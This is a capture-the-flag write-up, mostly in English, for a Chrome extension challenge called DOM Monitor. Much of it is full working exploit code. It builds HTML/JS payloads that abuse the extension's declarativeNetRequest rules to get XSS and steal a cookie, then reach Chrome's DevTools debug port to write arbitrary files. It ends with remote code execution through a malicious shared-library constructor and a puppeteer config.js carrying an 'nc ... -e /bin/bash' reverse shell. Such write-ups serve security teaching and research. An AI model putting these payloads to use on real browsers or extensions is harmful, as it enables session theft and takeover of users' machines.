Découvrez DOM Monitor ! L'extension Chrome révolutionnaire qui visualise les cycles de vie du DOM en temps réel, exposant les vulnérabilités cachées et les goulots d'étranglement de performance que les concurrents ne détectent pas. Découvrez pourquoi les meilleurs développeurs comptent sur notre technologie pour sécuriser et optimiser les applications web où chaque milliseconde compte.
Bot : nc chall.fcsc.fr 2208
https://dom-monitor.fcsc.fr/
The challenge is composed with two services :
bot.dom-monitor.fr
: A bot with the DOM Monitor
extension installed in the used chrome browserapp.dom-monitor.fr
: A simple echo server that outputs, as text/plain
, any data sent in the content
GET parameter.tl;dr for this first step, the bot has a cookie with the flag declared for the app.dom-monitor.fr
domain, but as described above, the server answers with the header Content-Type
set to text/plain
, so, at first sight, it seems impossible to trigger an XSS on this domain. But I know that chrome extensions have powerful rights, which can be used to obtain uXSS (Universal XSS) or modify request/response headers from any http or https origins.
Before the write-up and the various associated vulnerabilities are talked about, it's important to understand how a chrome extension works. First, chrome extensions uses manifest to declare extension's name, permissions, etc. In this challenge the manifest is the following:
{
"manifest_version": 3,
"name": "DOM Monitor",
"version": "1.0",
"description": "Monitor XXXXX",
"permissions": [ "sidePanel", "declarativeNetRequest" ],
"host_permissions": [
"<all_urls>"
],
"action": {
"default_title": "DOM Monitor"
},
"background": {
"service_worker": "backgroundScript.js"
},
"content_scripts": [
{
"matches": [ "<all_urls>" ],
"js": [ "contentScript.js" ],
"run_at": "document_start"
}
],
"web_accessible_resources": [
{
"resources": [ "bundle.js" ],
"matches": [ "<all_urls>" ]
}
],
"side_panel": {
"default_path": "side_panel/index.html"
}
}
Several important things can be noticed in this file :
Application asked several permissions, which allows to :
sidePanel
: Popup the user with a panel on the right side of his browser to interact with the extension (ex: DomLogger++).declarativeNetRequest
: Controlled network requests and modified them by using the declarativeNetRequest
(DNR) API.The content scripts will be triggered on every visitied page in the browser.
Moreover, this chrome extension has three important components :
The following diagram summarizes how the extension works :
How an extension works (globally).
Now that an overview of how an extension operates has been provided, the solving of the challenge can be addressed. Several exploits are required to achieve an XSS on the domain where the bot has the cookie with the registered flag. Firstly, it is noticed in the bot's code that the extension is not opened on its own. However, it is observed that when the bot visits our page, it searches for an element with the id start
to click on it — this should be kept in mind :
//[...]
logMainInfo("Going to the user provided link...");
try {
await page.goto(url, { waitUntil: "domcontentloaded" });
await page.waitForSelector("#start");
await page.click("#start");
} catch(error) {
console.error(error);
}
await delay(30000);
//[...]
As this will be our source of interaction with the extension, the content of the src/bot/ext/contentScript.js
file needs to be looked at to understand whether it can be communicated with:
//[...]
window.addEventListener("message", function(event) {
if (event.source !== window || !event.data.action || document.hidden) return;
switch (event.data.action) {
case "update_counts":
chrome.runtime.sendMessage({ domain: event.origin, ...event.data });
break;
case "open_sidepanel":
if (event.origin !== "http://localhost") return;
chrome.runtime.sendMessage({ action: event.data.action });
break;
}
});
//[...]
Something is very interesting here, in fact, it is seen that an action that opens the extension side panel is available, but, the origin of the message must match http://localhost
, which will never be our case as our exploit page will be hosted elsewhere. Event listeners inside extension aren't working the same way as web applications (see here for more details). Here it is assumed that the script must be communicated with through postMessage
, but as the script is listening on message
events, a Message Event
can actually be created that will be caught by the listener of the content script :
const fakeEvent = new MessageEvent('message', {
data: {
action: "open_sidepanel"
},
origin: "http://localhost",
source: window
});
window.dispatchEvent(fakeEvent);
In order for the MessageEvent
to be sent, a user interaction must occur, but this is the case because the bot clicks on the element with a start
id when he visits a page! This allows the check in the content script to be bypassed, and, in the background script, trigger the following event, that will automatically open the DOM Monitor
side panel :
//[...]
case "open_sidepanel":
chrome.sidePanel.open({ tabId: sender.tab.id });
break;
//[...]
Extension's panel popup.
In the content script, it should be noted that another event can be sent (without any restrictions). It can be triggered through postMessage
this time :
window.postMessage({
action: "update_counts",
domain: "https://google.com",
counts: {},
resourceCounts: {}
}, '*');
Now that the content script has been fully analyzed (from a frontend perspective), the side panel can be addressed, as interaction with it is now possible.
In the side panel, there's a lot of useless code, just one is interesting to solve this challenge. First, when a message is received, the script will update the front view with some data and also update the domain name to replace the "waiting for data..." string as seen in the screenshot above :
//[...]
domainHeader.innerHTML = domain || "waiting for data...";
//[...]
In the previous part, it's been seen that the domains is user controlled, so there is basically an HTML injection here. There is no XSS, in chrome extension, by default, the CSP (Content-Security-Policy) is super restrictive, like only script-src self
is allowed (the CSP is quite bigger but it's not interesting for this challenge), the question is "what can be done with an HTML injection in an extension side panel?" keeping in mind that our goal is to gain an XSS on app.dom-monitor.fr
.
As the application is using innerHTML
scripts can't be injected with <script src="XXX.js"></script>
as it will not be loaded. The only thing that can be done here is to load scripts from an iframe
by specifying them through the srcdoc
attribute.
Now the accessible scripts need to be examined. If the manifest is looked at, particularly the web_accessible_resources
field, it might be thought that only the src/bot/ext/contentScript.js
script can be loaded, but in the case of the extension that's false. All the scripts can be loaded, including bundle.js
and backgroundScript.js
. For example, if the following HTML page is hosted on our server, it will send a postMessage allowing an iframe
to be injected that loads the src/bot/ext/contentScript.js
in the extension side panel :
<!DOCTYPE HTML>
<head>
<body>
<script>
function exploit() {
let payload = "<html><body><iframe srcdoc='";
payload += `<script src="../bundle.js"></script>`
payload += "'></iframe></body></html>";
setTimeout(() => {
window.postMessage({
action: "update_counts",
domain: payload,
counts: {},
resourceCounts: {}
}, '*');
}, 2000);
}
function trig_panel() {
const fakeEvent = new MessageEvent('message', {
data: {
action: "open_sidepanel"
},
origin: "http://localhost",
source: window
});
window.dispatchEvent(fakeEvent);
trig_payload();
}
</script>
<button id="start" onclick="trig_panel()">click here</button>
</body>
</html>
Something I intentionally didn't show is what the src/bot/ext/contentScript.js
script does on startup :
function injectScript() {
const baseURL = document.currentScript?.src || chrome?.runtime?.getURL("") || "/";
const scriptURL = (baseURL + "bundle.js").replace("src/bot/ext/contentScript.js", "");
const script = document.createElement("script");
script.src = scriptURL;
script.onload = function() {
this.remove();
};
(document.head?.parentElement || document.documentElement).appendChild(script);
}
//[...]
injectScript();
A script called bundle.js
is being loaded which is the minify version of the file src/bot/ext/scripts/src/index.js
, this file is the key for this challenge, but that will be seen a bit later. The bundle.js
file is responsible for the communcation with the contentScript.js
message's events, taking a look at the source code reveals that, every second, a postMessage
is sent to update the side panel :
//[...]
setInterval(() => {
sendCounts();
}, 1000);
//[...]
This poses a problem in our case, as it will completely remove our HTML injection from the extension's side panel. To prevent this, a way must be found to crash the script. If you look at the end of this script (bundle.js
), you'll notice a debugging system :
//[...]
const dataset = document.currentScript.dataset;
const keyName = dataset.keyname || "dom-monitor";
const mainFunc = dataset.mainfunc || "startMonitoring";
delete dataset.keyname;
delete dataset.mainfunc;
if (dataset?.debug) {
if (!window[keyName]) window[keyName] = {};
Object.entries(dataset).forEach(([key, value]) => {
window[keyName][key] = JSON.parse(value);
});
console.log(`window[${keyName}][${mainFunc}]`)
window[keyName][mainFunc] = startMonitoring;
}
//[...]
This debugging part will be very useful for the rest of the challenge, but it's also useful for the current part, as it's possible to crash the script (because of the JSON.parse()
call) with the following three lines of Javascript :
let first = document.getElementsByTagName("script")[0];
first.dataset.debug = 1;
first.dataset.crash = "";
Since the bundle.js
script is injected before the page is loaded, the reference to it can be retrieved using the line document.getElementsByTagName(“script”)[0]
before it is executed, allowing the malicious attributes to be set.
In the extension side panel, it is observed that the HTML injection is working like a charm :
HTML injection in side panel.
As any script available in the extension can now be injected, the script game will have to be played. What is meant by this is that every script will need to be inspected and what it could be used for will need to be asked.
Remember that in the bundle.js
file, a bad parsing is exploited to cause a crash on the frontend, but this can be used to perform more malicious action on the side panel. As a reminder, the code is the following :
//[...]
const dataset = document.currentScript.dataset;
const keyName = dataset.keyname || "dom-monitor";
const mainFunc = dataset.mainfunc || "startMonitoring";
delete dataset.keyname;
delete dataset.mainfunc;
if (dataset?.debug) {
if (!window[keyName]) window[keyName] = {};
Object.entries(dataset).forEach(([key, value]) => {
window[keyName][key] = JSON.parse(value);
});
console.log(`window[${keyName}][${mainFunc}]`)
window[keyName][mainFunc] = startMonitoring;
}
//[...]
If this debugging functionality is cut out, it can be deduced that:
self
keyword through the keyname
dataset attribute) or to the first layer of it's nested objects.A little bit of context... First of all, injecting the startMonitoring
function into window[top][onmessage]
was tried, which in itself worked, but as the code wasn't mastered at all it wasn't useful. Then it was looked to see if there was a way of polluting this script in order to obtain a JavaScript code execution, to no avail.
Since we're in CTF, the scripts' codes were started to be looked at for non-logical patterns, and the one that caught the eye was in the script src/bot/ext/backgroundScript.js
. Why load a file containing static network rules? The author of the challenge could very well have hardcoded them in the script; it wouldn't have made any difference :
importScripts("./rules.js");
console.log("Initializing the background script...");
chrome.declarativeNetRequest.getDynamicRules().then((rules) => {
const ruleIds = rules.map(rule => rule.id);
chrome.declarativeNetRequest.updateDynamicRules({
removeRuleIds: ruleIds
});
chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
id: 1,
priority: 1,
action: action,
condition: {
urlFilter: "*",
resourceTypes: ["main_frame", "sub_frame", "xmlhttprequest", "websocket"]
}
}]
});
});
//[...]
If the two assumptions for flag from the beginning are remembered, it can be seen that one has been filled in here: with the help of all the scripts, it will be possible to load src/bot/ext/backgroundScript.js
correctly and create arbitrary DNR rules.
What's really interesting here is that, with the vulnerability described above, objects or variables in the current window (or in any accessible window) can be created. With an injection of the type window[self][action] = JSON.parse(...)
, the action
variable will be defined and accessible in the current iframe, so all that's left to do is load backgroundScript.js
to add the new rules? Unfortunately, Chrome only allows access to the DNR API if the location of the window is in the extension, i.e. chrome-extension://<id>/...
, but as an iframe with srcdoc
has been injected, our location is about:srcdoc
.
This challenge is a real puzzle, in our injection, so inside the iframe, nothing prevents another iframe from being opened which points to ../side_panel/index.html
in order to reload the extension side panel frontend. This particular iframe will have access to the DNR APIs, since its location will be chrome-extension://<id>/side_panel/index.html
!
So a way needs to be found, with all the scripts at our disposal, to pollute the iframe that was just created. Via the script with the debug functionality, variables (or objects) can be created in the iframe that references the extension, why? Because it's a case of same-origin
, access to the attributes of the iframe referencing the extension is total, which is good news. Let's sum up what is wanted:
backgroundScript.js
script into the extension's frontend iframewindow.data
attribute of the extension's frontend iframeHas a problem been solved? Here's another, the importScripts
function is not defined in our context, so the backgroundScript.js
script crashes on the first line.
In fact, this problem can be quickly solved: in the bundle.js
script, a startMonitoring
function can be associated with a variable, which helps a lot here, as it allows importScripts
to be defined as a function and not crash backgroundScript.js
on the very first line! If what is currently grouped together in a feat, it gives :
<!DOCTYPE HTML>
<head>
<body>
<script>
//Force a crash in bundle.js on the current page for our payload to trigger
let first = document.getElementsByTagName("script")[0];
first.dataset.debug = 1;
first.dataset.crash = "";
function trig_payload() {
let payload = "<html><body><iframe srcdoc='";
payload += `<iframe src="../side_panel/index.html"></iframe>`;
payload += `<script async data-debug="1" data-keyname="0" data-mainfunc="importScripts" data-action='""' src="../bundle.js"></script>`;
payload += "'></iframe></body></html>";
setTimeout(() => {
window.postMessage({
action: "update_counts",
domain: payload,
counts: {},
resourceCounts: {}
}, '*');
}, 2000);
}
function trig_panel() {
const fakeEvent = new MessageEvent('message', {
data: {
action: "open_sidepanel"
},
origin: "http://localhost",
source: window
});
window.dispatchEvent(fakeEvent);
trig_payload();
}
</script>
<button id="start" onclick="trig_panel()">click here</button>
</body>
Iframe attribute pollution.
The one million dollar question is: how is the backgroundScript.js
script injected into this iframe? The only existing way to inject a script into the runtime and have it loaded and interpreted is to use the appendChild
function on a node; in the extension, there's an occurrence of the call to this function. It is called in the src/ext/bot/contentScript.js
file to load the bundle.js
script on user-loaded pages, but a piece of code inside has no business being there :
function injectScript() {
const baseURL = document.currentScript?.src || chrome?.runtime?.getURL("") || "/";
const scriptURL = (baseURL + "bundle.js").replace("contentScript.js", "");
const script = document.createElement("script");
script.src = scriptURL;
script.onload = function() {
this.remove();
};
(document.head?.parentElement || document.documentElement).appendChild(script);
}
//[...]
The line making the call to appendChild
does so conditionally on one element or another, in the case of its use, document.documentElement
would have sufficed, but the challenge author added the possibility that it be added to document.head.parentElement
if document.head
exists. This is exactly the sync that was being looked for, because using DOM Clobbering, it's possible to get away with referencing our extension iframe.
The element that is going to be used to inject our script is document.head.parentElement
, so why not document.documentElement
? It would be possible to retrieve a reference to our iframe by setting the name attribute of our iframe to documentElement
, but this will only reference the window, and the appendChild
function isn't defined on it, so it would simply cause an error. The name attribute of the extension iframe must therefore be set to "head". Now, document.head
refers to the window of the extension iframe, but document.head.parentElement
is undefined, so a crash is still gotten.
If the extension has been succeeded in being reframed, then when a postMessage is sent from our attacker page, it's forwarded via the Chrome API to ALL listener pages. The idea here is to use the HTML injection to inject <div id="parentElement"></div>
into the iframe referencing the extension, so that document.head.parentElement
points to it. As said in the previous sentence, the message is sent to all the listeners of the event, so if that is simply done, the place where the first HTML injection is will be overwritten, and therefore the whole exploit will be broken. A way must therefore be found for the main page of the side panel to not take into account this message.
To be totally honest, I started fuzzing the current window object to check if a field that could be overwritten can occur a crash in the extension main frame was started, as it was late (approximately 3 A.M), the payload was copy pasted but I failed to executed it on the right frame, it was directly executed on the top frame of the extension (so the real side panel), and what happened was juicy:
Window attribute fuzzing.
Then a postMessage
was manually sent from the console tab:
HTMLi on embedded extension's frame.
Only in the second extension iframe and not in the one on the top was successfully injected. After some debugging, it was found out that overwriting on the top window the Object
object creates a crash in the JavaScript file of the side panel, and this is logical if the file src/bot/ext/side_panel/static/main.js
is checked, particularly when a message is received :
//[..]
function updateMethodDisplay(domain, counts, resourceData) {
const methodList = document.getElementById("methodList");
methodList.innerHTML = "";
Object.keys(methodLabels).forEach(method => {
//[...]
});
//[...]
}
//[...]
chrome.runtime.onMessage.addListener((message) => {
if (message.action === "update_method_counts") {
methodCounts = { ...message.counts };
resourceCounts = { ...message.resourceCounts };
updateMethodDisplay(message.domain, methodCounts, resourceCounts);
}
});
The script is calling a method on the Object
object, but as it is overwritten, it crashes and the domain is not changed on the top frame! So the pollution has to be reused to set window[top][Object] = "aaa";
. Let's update the exploit script :
<!DOCTYPE HTML>
<head>
<body>
<script>
//Force a crash in bundle.js on the current page for our payload to trigger
let first = document.getElementsByTagName("script")[0];
first.dataset.debug = 1;
first.dataset.crash = "";
function trig_payload() {
let payload = "<html><body><iframe srcdoc='";
payload += `<iframe src="../side_panel/index.html"></iframe>`;
payload += `<script async data-debug="1" data-keyname="top" data-mainfunc="Object" src="../bundle.js"></script>`;
payload += `<script async data-debug="1" data-keyname="0" data-mainfunc="importScripts" data-action='""' src="../bundle.js"></script>`;
payload += "'></iframe></body></html>";
setTimeout(() => {
window.postMessage({
action: "update_counts",
domain: payload,
counts: {},
resourceCounts: {}
}, '*');
}, 2000);
}
function trig_panel() {
const fakeEvent = new MessageEvent('message', {
data: {
action: "open_sidepanel"
},
origin: "http://localhost",
source: window
});
window.dispatchEvent(fakeEvent);
trig_payload();
}
</script>
<button id="start" onclick="trig_panel()">click here</button>
</body>
You might wonder why the src/bot/ext/bundle.js
script is reloaded as it can be injected in the data-*
attribute when loading it. The problem here is, data attributes are always lowercased, but Object
not object
wants to be overwritten (yep it's different).
It wasn't mentioned but of course the script src/bot/ext/bundle.js
can be loaded as many times as wanted, so that can be used to overwrite the Object
key.
As of now, the following has been achieved :
Now a race condition has to be won, in fact, the extension iframe has to be created, script to pollute the top Object has to be loaded, and then a postMessage has to be directly sent from our evil page to trigger the HTML injection with <div id="parentElement"></div>
because it must be created before the loading of the script src/bot/ext/contentScript.js
for the appendChild
function to work. This can simply be done by waiting 50 milliseconds after the first postMessage
on the evil page, and a lot of postMessage
for our div to be injected need to be sent, sometimes, the race might be won. Let's update the exploit again :
<!DOCTYPE HTML>
<head>
<body>
<script>
//Force a crash in bundle.js on the current page for our payload to trigger
let first = document.getElementsByTagName("script")[0];
first.dataset.debug = 1;
first.dataset.crash = "";
function trig_payload() {
let payload_div = "<div id='parentElement'></div>";
let payload = "<html><body><iframe srcdoc='";
payload += `<iframe src="../side_panel/index.html"></iframe>`;
payload += `<script async data-debug="1" data-keyname="top" data-mainfunc="Object" src="../bundle.js"></script>`;
payload += `<script async data-debug="1" data-keyname="0" data-mainfunc="importScripts" data-action='""' src="../bundle.js"></script>`;
payload += `<script defer src="../contentScript.js"></script>`;
payload += "'></iframe></body></html>";
setTimeout(() => {
window.postMessage({
action: "update_counts",
domain: payload,
counts: {},
resourceCounts: {}
}, '*');
}, 2000);
setTimeout(() => {
for(var i=0; i<1000; i++){
window.postMessage({
action: "update_counts",
domain: payload_div,
counts: {},
resourceCounts: {}
}, '*');
}
},2050);
}
function trig_panel() {
const fakeEvent = new MessageEvent('message', {
data: {
action: "open_sidepanel"
},
origin: "http://localhost",
source: window
});
window.dispatchEvent(fakeEvent);
trig_payload();
}
</script>
<button id="start" onclick="trig_panel()">click here</button>
</body>
Remember when a problem is solved and another one is gotten? Here we go again folks, the src/bot/ext/contentScript.js
is not loading the backgroundScript.js
but the bundle.js
file, let's check this file again :
function injectScript() {
const baseURL = document.currentScript?.src || chrome?.runtime?.getURL("") || "/";
const scriptURL = (baseURL + "bundle.js").replace("contentScript.js", "");
const script = document.createElement("script");
script.src = scriptURL;
script.onload = function() {
this.remove();
};
(document.head?.parentElement || document.documentElement).appendChild(script);
}
Did someone just said "DOM Cloberring again ?"
Reading the source code reminds me of a DOM Clobbering gadget that was found in webpack, this is exactly the same situation here, it's possible to clobber document.currentScript.src
through an <img>
tag :
<img name="currentScript" src="../backgroundScript.js?a="/>
This will create a script element with the following src
attribute: ../backgroundScript.js?a=bundle.js
!The backgroundScript.js
file is finally successfully injected (if the race is won) into the iframe that is permitted to use the DNR Chrome API! (are we really?..)
As some syncs were being looked for, I decide to took a break and create the DNR rule to gain XSS on app.dom-monitor.fr
. In the DNR rule, headers can be added, updated or removed, but, there are some restrictions on headers that can be updated, especially, the Content-Type
header is not in the allowlist. When chrome receives an HTTP response, if no Content-Type
is defined, chrome will parse it as text/html
. The following DNR rule is designed to delete the Content-Type
header :
{
"type":"modifyHeaders",
"responseHeaders":[
{
"header":"Content-Type",
"operation":"remove"
}
]
}
Let's update (again and again) our exploit :
<!DOCTYPE HTML>
<head>
<body>
<script>
//Force a crash in bundle.js on the current page for our payload to trigger
let first = document.getElementsByTagName("script")[0];
first.dataset.debug = 1;
first.dataset.crash = "";
function trig_payload() {
//To be accessible from document.head.parentElement
let payload_div = "<div id='parentElement'></div>";
//Build our payload for execution
let payload = "<html><body><iframe srcdoc='";
//Reiframe extension to access chrome API
//Clobber to have head to point to this iframe
payload += `<iframe name="head" src="../side_panel/index.html"></iframe>`;
//Payload to broke Object of loaded iframe and then force the postMessage to be interpreted in the newest created one
payload += `<script async data-debug="1" data-keyname="top" data-mainfunc="Object" src="../bundle.js"></script>`;
//Replace importScripts by startMonitoring to avoid the error in backgroundScript and pollute action to replace all available rules by the one we want (remove Content-Type header)
payload += `<script async data-debug="1" data-debug="1" data-keyname="0" data-mainfunc="importScripts" data-action='{"type":"modifyHeaders","responseHeaders":[{"header":"Content-Type","operation":"remove"}]}' src="../bundle.js"></script>`;
//Dom clobbering to trigger the injection in contentScript to hijack the loaded script
payload += `<img name="currentScript" src="../backgroundScript.js?a="></img>`;
//Used to inject script to the iframe with id 'head'
payload += `<script defer src="../contentScript.js"></script>`;
setTimeout(() => {
window.postMessage({
action: "update_counts",
domain: payload,
counts: {},
resourceCounts: {}
}, '*');
}, 2000);
setTimeout(() => {
for(var i=0; i<1000; i++){
window.postMessage({
action: "update_counts",
domain: payload_div,
counts: {},
resourceCounts: {}
}, '*');
}
},2050);
}
function trig_panel() {
const fakeEvent = new MessageEvent('message', {
data: {
action: "open_sidepanel"
},
origin: "http://localhost",
source: window
});
window.dispatchEvent(fakeEvent);
trig_payload();
}
</script>
<button id="start" onclick="trig_panel()">click here</button>
</body>
Problem, problem, trivago ? No, another problem (:
Even with defer
attribute which force the navigator to run this script after the HTML was parsed, the contentScript.js
file is execute to quickly (the extension iframe does not have the time to load), so, the script injection will always fail. A technique I often use in CTF to slow down page parsing is the following :
<style>@import "//localhost:7777";</style>
Chrome will try to reach the port and will fail, this allows us to save some precious milliseconds, but it's possible to repeat this instruction to save more time.
I promise, this is the last we will update the exploit for this part. Some loops have to be added to load many style
tags. The bot will also be redirected after 15 seconds to the app.dom-monitor.fr
page to trigger the XSS (if the race is successfully won by our payload!). Here is presented the final exploit for this part !
<!DOCTYPE HTML>
<head>
<body>
<script>
//Force a crash in bundle.js on the current page for our payload to trigger
let first = document.getElementsByTagName("script")[0];
first.dataset.debug = 1;
first.dataset.crash = "";
function trig_payload() {
//To be accessible from document.head.parentElement
let payload_div = "<div id='parentElement'></div>";
//Build our payload for execution
let payload = "<html><body><iframe srcdoc='";
//Reiframe extension to access chrome API
//Clobber to have head to point to this iframe
payload += `<iframe name="head" src="../side_panel/index.html"></iframe>`;
//Payload to broke Object of loaded iframe and then force the postMessage to be interpreted in the newest created one
payload += `<script async data-debug="1" data-keyname="top" data-mainfunc="Object" src="../bundle.js"></script>`;
//Replace importScripts by startMonitoring to avoid the error in backgroundScript and pollute action to replace all available rules by the one we want (remove Content-Type header)
payload += `<script async data-debug="1" data-debug="1" data-keyname="0" data-mainfunc="importScripts" data-action='{"type":"modifyHeaders","responseHeaders":[{"header":"Content-Type","operation":"remove"}]}' src="../bundle.js"></script>`;
//Used to slow down page loading and force iframe body to be loaded
for(var i=0; i<1000; i++) {
payload += `<style>@import "//localhost:7777";</style>`;
}
//Dom clobbering to trigger the injection in contentScript to hijack the loaded script
payload += `<img name="currentScript" src="../backgroundScript.js?a="></img>`;
//Used to slow down page loading and force iframe body to be loaded
for(var i=0; i<1000; i++) {
payload += `<style>@import "//localhost:7777";</style>`;
}
//Used to inject script to the iframe with id 'head'
payload += `<script defer src="../contentScript.js"></script>`;
//Close iframe
payload += "'></iframe></body></html>";
//Wait two seconds before sending payload
setTimeout(() => {
window.postMessage({
action: "update_counts",
domain: payload,
counts: {},
resourceCounts: {}
}, '*');
}, 2000);
setTimeout(() => {
for(var i=0; i<1000; i++){
window.postMessage({
action: "update_counts",
domain: payload_div,
counts: {},
resourceCounts: {}
}, '*');
}
},2050);
setTimeout(() => {
window.open(`http://app.dom-monitor.fr:8000?content=<h1><img/src/onerror='setTimeout(()=>{console.log(document.cookie);},1000)'>`)
}, 15000);
}
//Used to automatically open the panel after the bot click on the button
function trig_panel() {
const fakeEvent = new MessageEvent('message', {
data: {
action: "open_sidepanel"
},
origin: "http://localhost",
source: window
});
window.dispatchEvent(fakeEvent);
trig_payload();
}
</script>
<button id="start" onclick="trig_panel()">click here</button>
</body>
Send the payload to the bot and pray :
$ nc chall.fcsc.fr 2208
[Chromium Debugging Port]> 43077
==========
Tips: There is a small race window (~10ms) when a new tab is opened where console.log won't return output :(
==========
https://worty.fr/payloads/fcsc/first_step_index.html
Starting the browser...
[T1]> New tab created!
[S1]> New Service Worker created!
[T1]> navigating | about:blank
Going to the user provided link...
[S1]> console.log | Initializing the background script...
[T1]> navigating | https://worty.fr/payloads/fcsc/first_step_index.html
[E1]> New extension page created!
[E1]> navigating | chrome-extension://ldncjccgclcnekhpjcphpnjlbjnocolm/side_panel/index.html
[E1]> console.log | Opening the extension side_panel...
[E1]> console.log | Opening the extension side_panel...
[E1]> console.log | Initializing the background script...
[T2]> New tab created!
[T2]> navigating | http://app.dom-monitor.fr:8000/?content=%3Ch1%3E%3Cimg/src/onerror=%27setTimeout(()=%3E{console.log(document.cookie);},1000)%27%3E
[T2]> console.log | firstFlag=FCSC{abfe58dbaccdc701137c99757097a644d955443041c73353cae271329dc1b705}
Leaving o/
[T2]> Tab closed!
[T1]> Tab closed!
[T0]> Tab closed!
[T0]> Tab closed!
FCSC{abfe58dbaccdc701137c99757097a644d955443041c73353cae271329dc1b705}
Votre rapport de vulnérabilité était impressionnant, mais pour qu'il soit validé, vous devez prouver que vous pouvez exécuter le binaire /get_flag.
Pourriez-vous démontrer l'impact réel de cette faille de sécurité ? Nous attendons avec impatience votre preuve d'exécution ! :-)
https://dom-monitor.fcsc.fr/
Now a way has been found to fully control request and response headers through the DNR API. The challenge is actually designed to require Remote Code Execution, which cannot be achieved just by setting headers. Was something juicy noticed when the bot was connected to for sending the payload? The Chromium Debugging Port
was provided by Mizu! This is considered a very powerful capability, as it allows arbitrary file reading and writing...
As this is a very powerful API, it is very well protected, and normally, even if JavaScript is successfully executed on a victim's browser, it cannot be accessed because of CORS. DNR? DNR? DNR! Response headers can be modified, especially by adding any desired header, so what stops the addition of Access-Control-Allow-Origin: *
? Nothing! It can actually be faked, and Chrome will allow communication with this port! This is very important because, by design, this debug port is protected; Chrome uses a web socket to receive commands, and the path of this web socket is randomized but can be retrieved at http://localhost:${debugPort}/json
(normally protected by CORS).
Was a problem solved? Another one must be faced! On the web socket, Chrome only allows specific origins and denies others. DNR? DNR? DNR! The Origin
header can actually be removed from the request, so Chrome will allow connection to the websocket path! The following DNR rules were thus crafted (some extra rules were left in, just in case, you know):
{
"type": "modifyHeaders",
"requestHeaders": [
{
"header":"Origin",
"operation":"remove"
}
],
"responseHeaders":[
{
"header":"content-security-policy",
"operation":"remove"
},
{
"header":"Access-Control-Allow-Origin",
"operation":"set",
"value":"*"
},
{
"header":"X-Frame-Options",
"operation":"remove"
}
]
}
Now that communication with the debug port can be established and commands can be executed, the protocol documentation started to be studied. A file was successfully written using the following payload :
async function writeFile(path, filename, content){
await Page.setDownloadBehavior({behavior: "allow", downloadPath: path});
const expression = `var myBlob = new Blob([\`${content}\`], {type: "aa/aa"});
blobURL = URL.createObjectURL(myBlob);
var link = document.createElement("a");
link.setAttribute("href", blobURL);
link.setAttribute("download", "${filename}");
document.body.appendChild(link);
link.click();
blobURL`;
const { result } = await Runtime.evaluate({expression});
return result.value;
}
Here, the type aa/aa
is here to avoid chrome tries to guess the file extension in case I want to write a file without any. The Page.setDownloadBehavior
allows to change the downloadPath
of chrome, which give us an arbitrary file write on the remote machine. In web applications and in general, an arbitrary file write is a very interesting vulnerability has many things can be done with that. Moreover, with the devtools and chrome, this is a very powerful file write as it will creates folders if they do not exist. In the context of the challenge, especially from the docker-compose.yml
file, it was learned that only the /tmp/
folder is writable:
[...]
read_only: tru
cap_drop:
- all
tmpfs:
- /tmp:mode=1733,exec
[...]
This is very interesting because chrome files (and bot's $HOME) are in /tmp/
!
I start thinking writing an evil extension was the key, but as I'm a lazy CTF player, I try to think if there wasn't an easier solution.
Locally, I was able to gain remote code execution through the WidevineCdm
chrome components. In fact, when this component is loaded, chrome read is manifest file :
[...]
"platforms": [
{
"os": "linux",
"arch": "x64",
"sub_package_path": "_platform_specific/linux_x64/"
},
{
"os": "linux",
"arch": "arm64",
"sub_package_path": "_platform_specific/linux_arm64/"
}
]
If the WidevineCdm/4.10.2891.0/_platform_specific/linux_x64
folder is listed, only one file is observed: a shared library!
Using the arbitrary file write, I craft the following library and writes it to this specific location WidevineCdm/4.10.2891.0/_platform_specific/linux_x64/libwidevinecdm.so
:
#include <stdlib.h>
__attribute__((constructor))
void pwn() {
system("touch /tmp/RCE");
}
I just have to restart the browser with the devtools using the following payload :
ws.send(JSON.stringify({
"id": 1,
"method": "Page.navigate",
"params": { "url": "chrome://restart"}
}
))
The browser restart and reloads the WidevineCdm
shared library, and execute my code !
But this component was not present in the alpine docker so... let's move on.
Let me introduce my favourite CTF challenges cheese tool : strace
, it allows to recover all syscalls made by a process. What interests me in CTF challenges is to see when the process tries to read/write files, because this might be leveraged to a Remote Code Execution. Mizu's bot scripts is executed everytime someone connects on the bot's port, so I use strace
on the bot.js
file :
/usr/app# strace -fie file node bot.js 2>&1 | grep -i "/tmp/"
[pid 47] [000072f2e3dbff77] statx(AT_FDCWD, "/tmp/.config/puppeteer", AT_STATX_SYNC_AS_STAT, STATX_ALL, 0x7ffccfdaf020) = -1 ENOENT (No such file or directory)
When the bot starts, it checks if the folder /tmp/.config/puppeteer
exists, why ? Because mizu's hardcoded the HOME variable to /tmp/
at the beginning of the bot's script ! Let's create this folder and relaunch the bot with strace
!
/usr/app# mkdir -p /tmp/.config/puppeteer
/usr/app# strace -fie file node bot.js 2>&1 | grep -i "/tmp/"
[pid 73] [00007631fb808f77] statx(AT_FDCWD, "/tmp/.config/puppeteer", AT_STATX_SYNC_AS_STAT, STATX_ALL, {stx_mask=STATX_ALL|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFDIR|0755, stx_size=40, ...}) = 0
[pid 73] [00007631fb81b347] open("/tmp/.config/puppeteer/config", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 73] [00007631fb81b347] open("/tmp/.config/puppeteer/config.json", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 73] [00007631fb81b347] open("/tmp/.config/puppeteer/config.yaml", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 73] [00007631fb81b347] open("/tmp/.config/puppeteer/config.yml", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 73] [00007631fb81b347] open("/tmp/.config/puppeteer/config.js", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 73] [00007631fb81b347] open("/tmp/.config/puppeteer/config.ts", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 73] [00007631fb81b347] open("/tmp/.config/puppeteer/config.cjs", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 ENOENT (No such file or directory)
Puppeteer tries to load (and execute btw) the file /tmp/.config/puppeteer/config.js
!
The attack plan is the following :
/tmp/.config/puppeteer/config.js
(remember, with the file write chrome creates missing folders) containing a reverse shell payloads such as require("child_process").execSync("nc ip port -e /bin/bash")
This exploit is based on two files :
index.html
